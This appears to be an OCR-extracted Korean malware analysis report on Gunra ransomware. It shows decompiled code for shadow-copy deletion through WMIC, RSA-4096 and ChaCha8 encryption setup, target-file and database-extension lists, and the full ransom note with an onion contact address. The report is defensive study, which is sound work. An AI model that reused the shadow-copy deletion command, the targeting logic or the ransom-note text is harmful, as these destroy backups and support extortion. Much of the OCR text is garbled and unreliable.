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@ M TOP 10 EIX| E4|

Application Hacktool KMSAciivator HA (4%)

Gen:Variant Ransom.795 (31%)

Application. Hackiool BB (8%)

Trojan_GenericKD.37304216 (18%)
Application Hacktool KMSActivator AK (12%)
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@ UM 24
. 5% APl 2/EY

uVarl = thunk FUN_1400c0d70({local_230, "Rdvapi32.dll™);
Rdvapi32.dll = thunk FUN_1400c4ll0{uVarl);

1 = thunk_ FUN_1400bk£6ald(local 200, "Kernel32.dll™):
£132.d11 = thunk FUN 1400c3930({uVarl);

uVarl = thunk FUN_1400bkcd70({local_ld0, "Netapi32.dll"™);
Hetapi32.dll = thunk FUN_1400c2%70(uVarl);

uVarl = thunk FUN_1400bdcéd{local_lal, "Iphlpapi.dll™);
Iphlpapi.dll = thunk FUN_1400c2f10(uVarl):

uVarl = thunk FUN_1400bd350(local_170,"Rstrtmgr.dll™);
Bstrimgr.dll = thunk FUN_1400c2dfd({uvarl):

uVarl = thunk FUN 1400bd39%0({local 140,"ws2_32.d11");
ws2_32.d11 = thunk FUN_1400c2kbk0 (uVarl):

1 = thunk FUN_1400b£f70(local_ll0,"User32.dll™);
.d1l = thunk FUN_1400c3b70{uVarl);
"Shlwapi.dll™) s
1y:

i}
sapil.dll = thunk FUN_1400c3030 (uVv
Varl = thunk_ FUN_1400b£0b0({local b0, "5hell32.dll™);
Shell32.dll = thunk FUN 1400c36£0(uVarl):
uVarl = thunk FUN_1400c07e0{lccal_g0,"0le32.d11");
0Ole32.dll = thunk FUN 1400c3ed0{uVarl);
1 = thunk FUN_1400c0220(local 50, "OleRut32.dll™):
Clehut32.dll = thunk FUN_1400c3c80(uVarl):
if (param 1 == 0) {

local_ 34 = param 2;

switch(param 2} [

case 0:
local_resS = Kernel32.dll;
break;

case l:
local_res® = Rdvapi32.dll;
break;

case 2:

lncal resf = Netani32 d11:

[DLL &3]

Gunra AIRI01S ohY LIS A3t7| S AFBE AP| B4 FAS SHOR DLL THAS

— 1
Z L3510 APl gt E s =6H= ERO| QUL

A& API &4-2| DLL IS Switch-Case 22 Soll AMst= A O 2 TIMSIHH, Case
OHEE 107X & 11702 Case?t EXHDICE,

Case 012l Kernel32.dIIE A&z, Kernel32.dll, Advapi32.dll, Netapi32.dll,
Iphlpapi.dil, Rstrtmgr.dll, User32.dll, ws2_32.dll, Shiwapi.dll, Shell32.dll, Ole32.dll,
OleAut32.dll &ACHZ HHEICE

03 API A LTEIES Sof AFBE API B2 THAIS TIRstT 2z B4 00N
27} Z7HEl M2 DHEHS TIStOln, uist -2 A2 S8 ARSIt

Sga [ES AN
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AZ|E Y £
EL0CAL Z5U;
thunk FUN_14011c3£0(local_100,"34adfwefadfas43a™);
thunk FUN 14011e220 (uVarl);
CreateMutex 14011e730{0,1,uVarl);
HaitForSingleObject 14011%20({local 250,0);
....... _TF != 0) gotc LAB l40llesacar
|aetNat1veSystemIn c{_.,..._ 230)
) .
DWORD dwOemId;
{
WORD wProcessorArchitecture;
WORD wReserved;
} DUMMYSTRUCTMAME ;
} DUMMYUNIONNAME ;
e DuorD dwPageSize;
£E = thunk FUN_14013856 LPVOID 1pMinimumApplicationAddress
iz _IE =10} { LPVGID lpMaximumApplicationAddress;
thunk FUN_14011d0k0{ DWORD PTR dwActiveProcessorMask;
: thunk_FUN_14011e340 DWORD dwNumberOfProcessors;
Create_Enclog(uVarl); DWORD dwProcessorType;
goto LAB 140lleaca; DWORD dwallocationGranularity;
WORD wProcessorLevel ;
WORD wProcessorRevision;
0 } SYSTEM_INFO, *LPSYSTEM_INFO;
FITH 14021 24R0 1
[GetNativeSysteminfo 7 Z=A]
2 A=t 7|52 G| s HE| A2|=E AHESHH O= Conti v2 HEO{0M =
A&l EolCt

1]

== olAKIoolo/TlolAF)
=

1
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HE| A EZ ARSIY| /8 GetNativeSysteminfo €4S 0|30 A|AHIO| T2 M|A RO
2(dwNumberOfProcessor)E @=Lt g2 Z0 5 22 SFIH AB|EE WHSH=
HISE0| RO Z AMEStA CreateThread APl 245

UE| 222 Qlsf MAE ABESS T el slof) AFZED, 0l HE 4EE ots} IS
238t 0| BHOE Bict

+ Windows OS 857 7|5 £2i%}

uVarl = Change_S5Str_1400d42a0 (WQL_150, &WQL) ;
uvarl = Restore 5Str 140103al0{uVarl);
local 1080 = CALL_SysAllocString 140119cal{uVarl);
uVarl = Change_ Str 1400d4%7b0(local_1&0,L"SELECT * FROM Win32 ShadowCopy™):
uVarl = Restore_5Str 140105210 {uVarl);
local 1060 = CALL_SysAllocString 140119cal{uVarl);
local 1040[0] = {longlong *)0x0;
local 30 = *(code *%) (*local_l0cO[0] + Oxal):
local ll£0 = local 10407
local_11f3 = (longlong **)0x0;
/* public: class W5tring _ cdecl CCompressedString::
CreateWStringCopy (void) const+l70 %/

local_llcE[l] = (*local_ 30) (local_lO0cO[0],local_1080,local 1060,0x30);
if (local_1lcE[1] < 0) {

(*%{code **)({*local 10cO[0] + 0x10)) (local_l0cO[O]):

(**{code **)(*local_1la0[0] + 0x10)) (local_llal[d])r

CALL CoUninitializel 140118fb0{);

}
else |
local 1020[0] = (longlong *)0xO;
local 1004[0] = O:
while (local_ 1040[0] != {longlong *)Ox0) |

local 30 = *(code **)(*local_l040[0] + 0x20):
local 11f3 = (longlong **)local 1004;
/* public: class W5tring _ cdecl CCompressedString::
CreateWStringCopy (void) const+5380 %/
local fed = (*local 30) (local_ l040[0],0x£££f££ffFff,1,local_l020});
if (local_1004[0] == 0) break;
local 30 = *(code ¥%) (¥local 1020[0] + 0x20):
uvarl = Change_35tr 1400£97f0({local_104,&DAT_ 1402207dc);
ID_ 25 = Restore_Str_14010ebel (uVarl);
local 11f0 = {longlong *¥*)0x0;
local 11£8 = (longlong **)0x0;
/* public: virtual long _ cdecl CWbemChject::
Get{unsigned sheort const *, long, struct tagVARIRNT %, long %, long *)
local fed4 = (¥local 30) {local 1020[0],ID 28,0,loccal_£cO
thunk FUN_14011al150({local_£25,0x300);
uVarl = Change Str 1400£47el
{local_ds,
L"cmd.exe /c C:\\Windows‘\\System32\‘\whem'\\WMIC.exe shadowcopy
WTID=\E8\'\" delete”

LIE Q9| B4 7|58 R&3tst7| 28 WMI(Windows Management Instrumentation) S
0|85t A|ARIS| =R SAHES AMAISHCE

AH|

M

TISHs 22 of2het &Lt

Sga [ES AN
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1 WMI AMH|A HZ 81 8K " ProviderArchitecture" £48 MHsI 64H|E
)\|)\E-||_l+ 2§}g% X
HYAHO| ALt HEE BT

2 =5 =R SAE(VSS) “WQL"% O|EStH A MU D S=ES A==
HER SA
FHe|E A

3 HER SAHE AR MY TEAMA &Y of+0l ProcessCreate £ "cmd.exe /¢
C:\\Windows\\System32\\wbem\\WMIC.exe shadowcopy where "lD=%s'
"delete’of| £=2IBt IDE WO AldoiCt

O
£y
(5}
il
J
o
ne
<
o
_l_‘_

* RSA 37| =t

uVar3 = thunk FUN 140136bel(local 190, "Microsoft Enhanced RSA and AES Cryptographic Provider™):
uVard = thunk_ FUN_1401399£0(uVar3);
iVarl = Fun CryptlcquireContextl (param 1,0,uVar3,0xl8,0x£0000000);
if (ivarl == 0) {

uVar3 = thunk FUN 1401346£f0(local 140, "Microsoft Enhanced RSA and RES Cryptographic Provider™):

uVard = thunk FUN 14013%6%0 (uVar3);

iVarl = Fun_CryptAcquireContexth(param 1,0,uVar3, 0x18, 0xf0000008) ;

if arl == 0) {

uVar3d = thunk FUN_140135270(local_s&,
"Microscft Enhanced RSRE and AES Cryptographic Provider (Prototype)

i:

uVard = thunk FUN_14013%7h0(uVarc3);
iVarl = Fun_CryptAcquireContexth(param 1,0,uVar3, 0x18, Oxf0000000) ;
if (iVarl =— 0} {

uVar3d = thunk FUN_140135df0{local_73

"Microsoft Enhanced RSA and AES Cryptographic Provider (Prototyp
S e
i

uVard = thunk FUN_14013%3d0(uVac3);

uVar2 = Fun CryptAcquireContextd(param 1,0,uVar3, 0x18, 0x£0000002) 7
t

else |

uVar2 = 17
3
}
else {
uVar? = 1;
}
}
else [
uvarz = 17
}

return uvari;

[CryptAcquireContextA gt4]

RSA 2112|&2 tEXQI HICHA =el 2A112|EF & StLIO|H, CryptAcquireContextA
=5 0|88 37715 71 27| flet 2t S s&etlt. DO| A 2ATEN| M XHSdte
CryptoAPI(CAPI)2| CryptAcquireContextA 4= st Mb|A ZZXHCSP)o]| chet

HES L= A2 otCt
Ol H2 Eofl HE Z+S 0|88l CryptimportKey ef4+Z Q13 E =l 2747 | HI0|E S AF|
AEE £ Q= 7| HEZ HeloIrt,

Sga [ES AN
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RSA-4096 3717| =l

g Hex ASCII
000000014025F5D0 |06 02 00 00|00 A4 00 00|52 53 41 31(00 10 00 00| ..... n..RSAY. ...
000000014025F5EQ| 01 00 01 00|59 56 6D DF|132 B2 B7 BB|(B1 &7 E4 C4|....YvmR.=..x. 84
000000014025F5F0|5E 4D C8 94 (1A 1B C5 28|93 68 E1 AB|DA 7F 29 AB|ME...A(.ha 0.)«
000000014025F600 | B5 1B AE 84|23 36 OF O7 (8D 7E 91 D8 |0C DD F8 AD|M.®.#6...~.8.Y0
000000014025F610| 38 7F 0OA BA|64 79 6A 5F|01 62 D8 CE|9A DD 88 33 E..Gdyg? :
000000014025F620 | 87 E3 58 EB|E9 14 C8 C4|58 A8 5E 58|61 1C FB 29|.axee.EAx Axa.id)
000000014025F630|C1 OB 98 40(|D5 15 9B EC |61 08 CE 83 |D6 4F 7F 23|A..@d..3%a.1.00.3
000000014025F640 | 34 75 52 A7 |06 AC 1E FB|AA C7 FZ A3|66 20 99 90| 4us§.-.02Chif ..
000000014025F650 | BA BD A8 F5|E3 8E 33 17|96 63 5F 6C |84 1C FD F5|°% Da.3..c_1..yd
000000014025F660 |57 E5 C9 F1|76 3A 76 G6B|14 CC 9E DC|06 95 78 77 |WAEAv:ivk.I.U..xw
000000014025F670 |36 2E FE 1E(DB 51 78 36|71 E1 15 DO|2E 4E C8 F7|6.p.0axega.p, NE:
000000014025F680 | 87 DD 43 CF |50 21 F7 E1|EE 12 9A 44 |DD 3E 8B D4|.VCIP!=ai..D¥>.0
000000014025F690 | 2E 54 B5 EB|9A 90 73 E1|56 93 C6 B1|DC SE D3 BB|.TuE..sav, £+040,
000000014025FGA0 | 4F 48 EZ 62|8B F& 5D 4C|78 AB 62 FB|48 AE 66 EE|OHab.&]Lx conefi
000000014025F6E0| 3F 81 62 75|15 AS EO A4|41 2B 11 6B|1C 00 00 49|7.ix. ama+.k...I
000000014025F6CO | 88 EA 7F 38|A7 06 25 FE|AF BE 79 64|61 98 OE 21|.8&.8§.%p Hyda..!
000000014025F6D0 | 7E EE B9 BC|3B 00 5E 69|E3 82 C3 9A|73 8D 5D 49|~i'.;.~ja.A.s.]1
000000014025F6ED | F2 €D 3B 15|05 58 AD EB|46 71 A8 BC |01 CBE E8 BE|b0I;..X BFg %.E=X
000000014025F6F0 | B4 BC 0D 94|62 9C 04 D9|98 C9 7F 7C|5F 99 22 13| "%..b..U.E. |_.#.
000000014025F700| 4D 08 1C 9F |3A CO 10 81|6A 32 4B CF|AE E1 DE EO|M...:A..j2KI zp3a
0D00000014025F710| 6F BO D3 B9|47 23 DC C7 |75 58 7F 02(87 33 84 15 |0°0 G#lCUX. ..3..

[RSA 77| HIO[E]

S

Mo M 0|22 A2 "14025F5D0"0 RSA 37077t 2E

rin
N
o
fot
5
gt
1
0
J:l

OO|2EAZE SA ZH0[X|of [EH RSAPUBKEY - Z&4|0iA RSA1(0x31415352 -

37H71) T2 EE 240] 0x1000(4096)21 A =l & 4= ATt 0| RSA 3717| 42 TS

22 ol0l| AF2E|= ChaCha8 tE7|E 5717| ¢l A== HICHE i Hne|E2
RSAS| 2717 |2 &QIEICt

typedef struct _RSAPUBKEY {
DWORD magic;
DWORD bitlen:
DWORD pubexp;

} RSAPUBKEY;

oa b~ N -
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+ ChaCha &3} A4 =0l

‘param 2;

param 1[4]

param 1[5] param 2[1];

param 1[&]

param 1[7] = param 2[3];

if (param 3 == 0xl00) {
local_resl0 = param 2 + 47

param 2[2];

local f£0 = "expand 32-byte kexpand lé-byte k";

}

elase |
local_f£0 = "expand lé-byte k";
local_resl0 = param 2:

}

param 1[8] = *local reslO;

param 1[%] = local reslO[1];

param 1[10] = local resl0[2];

param 1[0xb] = local_resl0[3]r

*param 1 = *(undefined4 *)local £0;

param 1[1] = *{undefined4 *) (local £0 + 4):

param 1[2] = *{undefined4 *) (local £0 + &):
param 1[3] = *{undefined4 *) {local f0 + Oxc);
return;
}
[2XHE A% 2101]

CHA =ot 2112|FQ ChaCha Y112|E BEE0| FolE =3t A4 "expand 32-byte
kexpand 16-byte k” 2} "expand 16-byte k'S &olgt 4= QIC}.

T 2400 AHSE MEO|M AMRE|= A4= "expand 32-byte kexpand 16-byte k"2

+ ChaCha QR At

for (1 =38; 0« {Inr.Jl: i=1-2) 1

local 6£3[1] = local &£8([1] + local_&74;

uVarl = (local 574 ~ local €£f2[1]) << 16 | ({local_574 ~ local €£2[1]) >> lé:
local_5f4 = local_5f4 + uVarl;

uVar2 = (local_€74 ~ local 5f4) << 12 | (local_&74 ~ local 3£4) >> 207
local €f8[l] = local €f8[l] + uVarz;

uVarl = (uVarl ~ local 6£3[1]) << & | (uVarl ~ local 6£3[1]) >> 24;
local 5f4 = local 5f4 + uVarl;

uVar2 = (uVar2 * local_5f4) << 7 | (uVar2 ~ local 5f£4) >> 25;
local_€d4 = local_€d4 + local €547

uVar3d = (local_554 ~ local_6d4) << 16 | ({local_554 ~ local_dd4) >»> 16;
local 5d4 = local 5d4 + uVar3;

uvard = (local €54 ~ local 5d4) << 12 | (local_654 ~ local_5d4) >> 20;
local 6d4 = local €d4 + uVard;

uVard = (uVar3d ~ local_d6d4) << & | (uVar3 ~ local &dd) >> 247
local_5d4 = local_5d4 + uVar3;

uVard = (uVard ~ local_5d4) << 7
local_tgb4 = local_gbd + local_€34:
(local 534 ~ local 6€b4) << 16 | (local_3534 ~ local ébd4) >> lé;
local Sbé4 = local Sb4 + uVars;
(
4

(uVard ~ local 5d4) >> 257
uVars =

local_€34 ~ local_5hd) << 12 | (local_&34 ~ local 3hd) >> 207
= local_gbd + uVard;

uVare =
local_gb

o

uVarS = (uVard ~ local_g&bd) <<
local_S5k4 = local 5bkd + uVars;

(uVars ~ local €bd) >> 2457

uVaré = (uVaré ~ local_35b4) <<

[BXHE == =el]

(uVargé ~ local_35b4) >> 257

SE=E = oxroioomore)
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ChaCha82 ChaCha202 7|dlo 2 ZIdE|H 22 45 £ HY 212|502 8

Yoot 220 SAOITY.

ChaCha20=C} 225 7 HOf #E M&S MSSHX|2H ChaCha200]| B|sH Eot Z&= 7t
L2 HOZ YA It

Cafo|2 EM Z=H|

_ CheckForDebuggerdJustMyCode (eDAT_1402732¢k) ¢
local 244 = 0;
*param 1 = 0;

param 1[1] = {longlong)param 1;
uVard = Fun GetLeogicalDriveStringsW(0,0);
lpBuffsr = (ulonglong)uVar2;
if {lpBuffer == 0} |
local_ 244 = 0;
}
else |
nBufferLength = Fun_Heap (1lpBuffer * 2 + 3);
if (nBufferlength == 0) {

local 244 = 07
}
else |
Fun_ GetLogicalDriwveStringaW {lpBuffer,nBufferlength) s

local 1c0 = nBufferlength;
while (iVar3 = Fun_lstrlenW({local_lc0O}, iVar3d != 0} {
pvVard = operator_new (0x38);
if (pvWard == (void *)0x0) |
local_30 = 0;
}
else |

local 30 = thunk FUN_1400c3970(pvVard);
1
1Varl = local_ 307
if {local 30 = 0) {

thunk_FUN_1400ca600 {nBufferlength);

return 0;

[GetLogicalDriveStringsW &= AFZ2]

I_

Gunra MO0 A 7HE A 7| S0l IHY ASoE 2o A|ABIM RES =2 E210|E
s

Olet Z2 7|58 +dst7| I8 GetLogicalDriveStringsW APl 245 0| 835t0] ZEE{0f|
Ce2polE HER3 EE0|E § 2E =2|Hel EBj0|E EXE 2 7H4 2Lt

Ouif, CHE A asllolet XPEFO| Exifsh=C Chd OS7t I=R0|11 E2L0|E7} C E2to|EY
B2 2|¢%l 2= "C:\\Users\\"ZE A|Zfx|= A= SlEICH

sga oflAxjoflolo oA ()
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. He| Zof

_ CheckForDebuggerJuatMyCode (eDAT_140273cdl) 7
uVarl = thunk FUN_14012al30({local_ 240, &DRT_140222c88)r
local_4g8[0] = thunk FUN 140132000 {uVarl):
uVarl = thunk FUN_14012kd40({local_210,L"winnt"):
local_4g8[1] = thunk FUN 140132800 (uVarl):
uVarl = thunk FUN_14012d4k0({local_le0,L"cemp”):
local_468[2] = thunk FUN_140132£fcO{uVarl):
uVarl = thunk FUN_14012d1d0({local_lk0, L"thumb™):
local_468[3] = thunk FUN_140132eal{uVarl):
uVarl = thunk FUN_1401224%0{local_l&0,L"sRecycle.Bin") s
local 448 = thunk FUN_140125840{uVarl);
uVarl = thunk FUN_14012a5c0{local_ 140, L"sRECYCLE.BIN"):
local_ 440 = thunk FUN_140132240(uVarl);
uVarl = thunk FUN_14012ddé0(local_100,L"System Volume Information™):
local 438 = thunk FUN_140133200 {uVarl);
uVarl = thunk FUN_14012%ehk0({local_bO,L"Boot™);
local 430 = thunk FUN_140131eel{uVarl);
uVarl = thunk FUN 14012b220(lccal 20,L"Windows™);
local 428 = thunk FUN _1401325a0{uVarl);
uVarl = thunk FUN 14012abk30(local 50,L"Trend Micro™);
local 420 = thunk FUN 140132360 {uVarl);
local 404 = 10;
local 3=4 = 07
do |
if (local_404 <= local 3e=4) |
uvarl = 1;
LAB 14012£7e3:
_RIC Check3tackVara(local_ 453,&DAT_1402228cd);
return uvarl;
}
IVar2 = Fun_3tr3trIW(param l,local_4&3[local_3=4]);
if {1varz != 0) {
uvarl = 07
goto LAB_14012fT7e3;
}
local 3ed4 = local_3e4 + 1:
} while{ true ):

(Flel 20 2ol]

=

Of 2ig9I0li= StrStriwW APl & +E AFESH0] CHAZXAIE =20 g8 RUZE XS

LHOIlA 24 el 220 EXEE GAoI0] M2l 20 SiHE 2T

M2l SXtZ2= & 97K Z "winnt", "temp", "thumb"”, "$Recycle.Bin", "$RECYCLE.BIN",
"System Volume Information”, "Boot", "Windows", "Trend Micro" O] ZX{atCt,

SE=E = oxroioomore)
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_ CheckForDebuggerJustMyCode (e DRT_140273cdb) ;7
uVarl = thunk FUN 14012a340({lccal 170,L".exe™);
local_2c0[0] = thunk FUN_140132120(uVarl):
uVarl = thunk FUN 1401242530 (lccal_140,L".d11"):
local_2c0[1l] = thunk FUN_140125£00(uVarl):
uVarl = thunk FUN 14012k5d0({lccal_ 110,L".1nk"):
local_2c0[2] = thunk FUN_140132&cO(uVarl):
uVarl = thunk FUN 14012cf50{lccal =0,L".sys");
local_2c0[3] = thunk FUN_140132d30(uVarl):
uVarl = thunk FUN 1401281380{lccal bO,L".msi"):
local_2al = thunk FUN_14013la60(uVarl):

uVarl = thunk FUN 140127cH0(local 50, L"R3RDM3.txt"™);

local 298 = thunk FUN 140131940 (uVarl):

uVarl = thunk FUN_14012d4730({local 50, L"CONTI_LOG.txt");

local 250 = thunk FUN_1401330e0{uVarl):
/% Return L".ENCRI"™ */
uVarl = Str ENCRI{):
1VarZ = Fun_Str5trIW {param 1,uVarl);
if (lVar2 == 0} {
local_274 = 7;

£ SGA EPS Eot20|H 2025.09

for (local_2%4 = 0; local 254 < local 2747 local 254 = local 254 + 1) |

1var2 = Fun StrStrIW({param 1,local_2cO[local_ 254]);:

if (1Varz != 0) {
uvVarl = 0;
gotoe LAB 14012L9f4;

uVarl = 07

LAB 14012£5£4:

_BIC CheckStackVars(local 2e8,&DRT 140222740):
return uVarl;

(Ko 22 ol

2r2]

0 = H|Q| ZQF 20| StrStrIW APIE ALE610] X|Q| SHEFX}
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Ql
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L=2
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H=2= 3
—Tr= 9_H:|'-

el SXxt= & 87HKZ "exe", ".dlI", ".Ink", ".sys", ".msi", "R3BADM3.txt",
"CONTI_LOG.txt", ".ENCRT"2} &L}
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.+ O Ao}

=loT |
iVarl = Fun_TargetFileGet Info(param 1);
if {iVarl == 0} {

else |
ivarl = Fun CheckExtension DB(*param 1);
if {ivarl == 0) {
ivarl = Fun CheckExtension VM(*param 1);
if (ivarl = 0) {
if {({longlong)param 1[2] < 1048577) {
iVarl = Fun_TargetFile KeyWrite (param 1,0x24,0);
if {1 farl == 0} |

eeeee

L

uVar2 = Fun_FileEncryptionl (param l1,param 2,param 3,param 4);

else if (({longlong)param l[2] < 5242331) {
iVarl = Fun_TargetFile KeyWrite (param 1,0x26,0);
if (iVarl == 0) [

ojed SFYXLE Hlwoh= Y42 C|O[EH[0] A 2t SHEXtet VM 2t =Xt M s 2

= = 2
SfQlE|H, At 8&0i| U2t 37|17t 2 TP S S WHE A2t f=etE Tidsiof of7| el

21 ofof AetMQl MASO| toi M= IHe| 37|E & 37HK| U2 L0 P=otE
THst= HOo = 2QIEICE

Sga [ES AN
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z=d

otz ) z9 5%

1048577 byte(2 TMB) 37|t &2

ot A (5MB7IEX])

5242881 byte(Sf 5MB) 37| HLHEHS | I A|%}

SE IMB7HX]

5242881 byte(2f 5MB) 27| ELCt 2

ool EH FtE
(ClIOIE] 50% CH&)

o

* ClO|E{H|O| A 2td SFEX} Hlw

- O

r

uVarl = thunk FUN_1400d46c30({local_220,L"
local 2628 = thunk FUN_140104cl0{uVarl):
uVarl =
local
uVarl =
local_26d8 = thunk_FUN_140107&d0{uVarl);

26e0

= thunk FUN_14010£%60(uvarl);

uVarl =
local_26d0 = thunk FUN _1401012k0{uVarl);
uvarl =
local_26cE = thunk_FUN_1401025d0{uVarl);
thunk FUN_ 140043440 (local_130,L"
local_26c0 = thunk FUN_1401037d40(uVarl);
thunk FUN_1400£1%a0(local_100,L"
local Z2ebE = thunk FUN_14010d4040{uVarl);

uVarl =

uvarl =

uvarl =
local Z2eb0 = thunk FUN_14010b150{uVarl);
uvarl =
local_26a% = thunk FUN_14010ef40(uVarl):
uvarl =
local_26a0 = thunk FUN_ 1401028450 (uVarl):
uvarl =
local_ 2698
local 2674 =
local_
do |
if {local_2674 <= local 2&54) |
uvarl = 0
LAB_1400fdfcs:

thunk FUN_14010%9b0 (uVarl) s
Oxab;

2654 = 07

thunk_FUN_1400£c070 (local 1Z0,L"

thunk FUN_1400ded40 (local_lcO,L™.

thunk FUN_1400cac40(local_1%0,L"

thunk FUN_1400cfacl(local_le0,L"

.2dn"});

dba™);

fm5") ;

hit"};

icg™):

.ice");

Jedb™)

thunk_FUN_1400ekdc0 (local_d40,L".lut");

thunk_ FUN_1400£a090 (local_al,L".maw"}:

thunk_ FUN_1400e35a0(local_70,L".mdn"};

thunk_ FUN_1400e7390(local 40,L".mdt");

_RIC CheckStackVars(local 2cl3,sDRT 14021££40);

return uVarl;
}
1Varad =
if {1Varz '= 0) {
uvarl = 1;
goto LAB 1400£dfcs;
}
local 2654 = local_.
} while{ trus );

2634 + 1;

—

Fun_StrStrIW({param 1,local_ 2Zbed[local 2654]1});

[StrStriwets2 2K+t H| )
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HAMSH= StrStriw AP & ArES

1PN
=)

ZCHE mhd FA| Ho|E
20

X F kdbe S5E0 SHE

ofzHel 20| olie =HafAtet

t0f ZH|E! Cl|O|E{H|0] A

SIS H2leh 2HER}
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kJ
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.4dd, .4dl, .accdb, .accdc, .accde, .accdr, .accdt, .accft, .adb, .ade, .adf, .adp, .arc, .ora, .alf, .ask,
.btr, .bdf, .cat, .cdb, .ckp, .cma, .cpd, .dacpac, .dad, .dadiagrams, .daschema, .db, .db-shm,
.db-wal, .db3, .dbc, .dbf, .dbs, .dbt, .dbv, .dbx, .dcb, .dct, .dcx, .ddl, .dlis, .dp1, .dqy, .dsk,

.dsn, .dtsx, .dxl, .eco, .ecx, .edb, .epim, .exb, .fcd, .fdb, .fic, .fmp, .fmp12, .fmpsl, .fol, .fp3, .fp4,
fp5, .fp7, .fpt, .frm, .gdb, .grdb, .gwi, .hdb, .his, .ib, .idb, .ihx, .itdb, .itw, .jet, .jtx, .kdb, .kexi, .kexic,
Kkexis, .Ilgc, lwx, .maf, .maq, .mar, .mas, .mav, .mdb, .mdf, .mpd, .mrg, .mud, .mwb, .myd, .ndf,
.nnt, .nrmlib, .ns2, .ns3, .ns4, .nsf, .nv, .nv2, .nwdb, .nyf, .odb, .oqy, .orx, .owc, .p96, .p97, .pan,
pdb, .pdm, .pnz, .qry, .qvd, .rbf, .rctd, .rod, .rodx, .rpd, .rsd, .sas7bdat, .sbf, .scx, .sdb, .sdc, .sdf,
.Sis, .spq, -sql, .sqlite, .sqlite3, .sqlitedb, .te, .temx, .tmd, .tps, .trc, .trm, .udb, .udl, .usr, .v12, .vis,
.vpd, .vvy, .wdb, .wmdb, .wrk, .xdb, .xId, .xmlff, .abcddb, .abs, .abx, .accdw, .adn, .db2, .fm5, .hjt,
.icg, .icr, .kdb, .lut, .maw, .mdn

=5

—

+ VM

e
Jtot

FEPRE H|

uVarl = thunk_ FUN_1400d€c30({local_220,L".adn");

local 2628 = thunk FUN_140104cl0{uVarl):

uVarl = thunk FUN 1400£c070(local l£0,L".db2");
local_26=20 = thunk FUN_14010£960(uVarl);

uVarl = thunk FUN_1400ded40(loczl 1cO,L"™.fm53");
local_26d8 = thunk FUN_1401076d0{uVarl);

uVarl = thunk FUN_1400cac40(local 150,L".hjt");
local_26d0 = thunk FUN _1401012k0{uVarl);

uVarl = thunk FUN_1400cfacl(local lel,L™.icg™);
local_26cE = thunk_FUN_1401025d0{uVarl);

uVarl = thunk FUN_140043d40(local 130,L".icr"™);
local_26c0 = thunk FUN_1401037d40(uVarl);

uVarl = thunk FUN_1400f1%a0(local 100,L".kdb");
local Z2ebE = thunk FUN_14010d4040{uVarl);

uVarl = thunk_ FUN_1400ekdc0 (local_d0,L™.1lut");
local Z2eb0 = thunk FUN_14010b150{uVarl);

uVarl = thunk_ FUN_1400£a090(lccal_al,L".maw");
local_26a% = thunk FUN_14010ef40(uVarl):

uVarl = thunk_ FUN_1400e35a0(local_70,L".mdn");
local_26a0 = thunk FUN_ 1401028450 (uVarl):

uVarl = thunk FUN_1400=7390 (local 40,L".mdt");
local 2698 = thunk FUN_14010%3b0{uVarl);

local 2674 = Oxab;

local_2654 = 07

do |

if (local_2674 <= local 2€54) |
uVarl = 07
LAB 1400fdfch:
_RIC CheckStackVars(local 2cl3,sDRT 14021££40);
return uVarl;

goto LAB 1400£dfc5;
}
local 2654 = local 2654 + 1;
} while{ trus );

1

[StrStriwgts2 SAHet B| 1)
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O7| i 20] #HE L=olS QI L=oh= B 392 NFE|H, 02| 7% 20|S d=tE
TIZSHH, & 21% CO|E{0]| CHol =ets Tldsh= A= 2fRlECt

ot efost 1 SOl 1M Sl4~= H|O[E{2] 7%7HX| TIHE|H, 21 SI~= O & 0|=0f|

+39.5%(46.5%) 0I5 T+ 7%(53.5%) M| Y2t TIASICY.

Orx|2h M 21401 A +39.5%(93%) Ol = OFX|2 7%(100%)7HK| LSt 43 &l

RS AQZ =elErh

VMware2t 2t El & H A= ChEat 2.

vdi, .vhd, .vmdk, .povm, .vmem, .vmsn,

.avhd, .vmrs, .vhdx, .avdx, .vmcx, .iso

.vmsd, .nvram, .vmy, .raw, .qcow2, .subvol, .bin, .vsy,

ol kX |.
. OjU YA EE

sub rsp,108
lea rbp,gword ptr ss:[frsp+z0f
lea rcx,qword ptr ds:[1402783CE] rex:L"Civ\\Usersyh\Default\\NTUSER.DAT. LOG"
£all gunra.i1400B2F51
nop
mov rod,17
mov ra8d,C8FE7S817
xor edx,edx edx:L” :\\UserS\\Defau1t\\hTUSER DAT. LOG. ENCRT"
XOr ecx,ecx ecx:L"C:\\Usersy\Default\\NTUSER.DAT. LOG"
€all gunra.1400B331B
mov qword ptr ss:[rbp+sl,rax [rbp+08]: "HE8HE!$(
mov rax,gword ptr ss:[rbp+&[ [rbp+08] : "HEl8HZ!$ (
mov gword ptr ss:[Irbp+Dal,rax [rbp+D8]: "HE8HZ!$(
mov rdx,gword ptr ss:[Irbp+ios) [rbp+10 C:h\\Users\\Defaulth\NTUSER.DAT.LOG. ENCRT"
mov rcx,gword ptr ss:(irbp+100f [rbp+100] : C: \\UserS\\Defau1t\\hTUSER DAT. LOG"
call gword ptr ss:[rbp+D&] [rbp+D8]: "HE 8HI S ("
lea rsp,qword ptr ss:|[Qrbp+ES]
pop rdi
pop rbp 000000007 75AFTFD <kernel3z.MoveFi]eaws
ret sub rsp,38
int3 and gword ptr ss:[Qrsp+z2s),0
int3 xor rod,rod
int3 xor rs8d,rsd
int3 mov dword ptr ss:[ rsp+zofl,2
int3 €all kernel3z.77523090
int3 add rsp,38
int3 ret
int3 |

SEA

[MoveFileW &5 ]
)k‘lolo-li |.O|O| ||.|§O "‘|. | |i |-IO| |,|E| C | |.I"' |,§ e} |.
2HAQ| 0] = IOl Tf|O|EE AS3} A|F|= DFA Q| OFX| 2} CHA| 2 Il SHAFKIE HADBIC}

Z! mff AF2E|= MoveFile API &2 AtE3ILCY

OflAX]oj[o]O]mloflA (=)
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e = E =0l
7l R3ADMS3 txt - Windows H2% o o

LaE BEE AN0) 27V E2EH)
'YOUR ALL DATA HAVE BEEN ENCRYPTED!

We have encrypted your side entire data.

The only way to decrypt your files is to receive the private key and decryption program.

To receive the private key and decryption program, you must contact us.

We guarantee that you can recover all your files safely and easily. But you have not so enough time.
You can decrypt some of your files for free when you contact us.

You Only Have 7 Days To Contact Us!
How to contact us

1. Download "Tor Browser" and install it.

2. In the "Tor Browser" open this site here :

http:/fjzbhtsuwysslrzi2n5is3gmzsyhGayhm7jt3xowldhk 7rejddqqubxqgd.onion

3. After login with below Client ID to this site and contact Manger

Client ID : 681ded4c9edfaleb5fcab7c
You need to contact "Manager” to recover all your data successfully.

IDANGER !!!

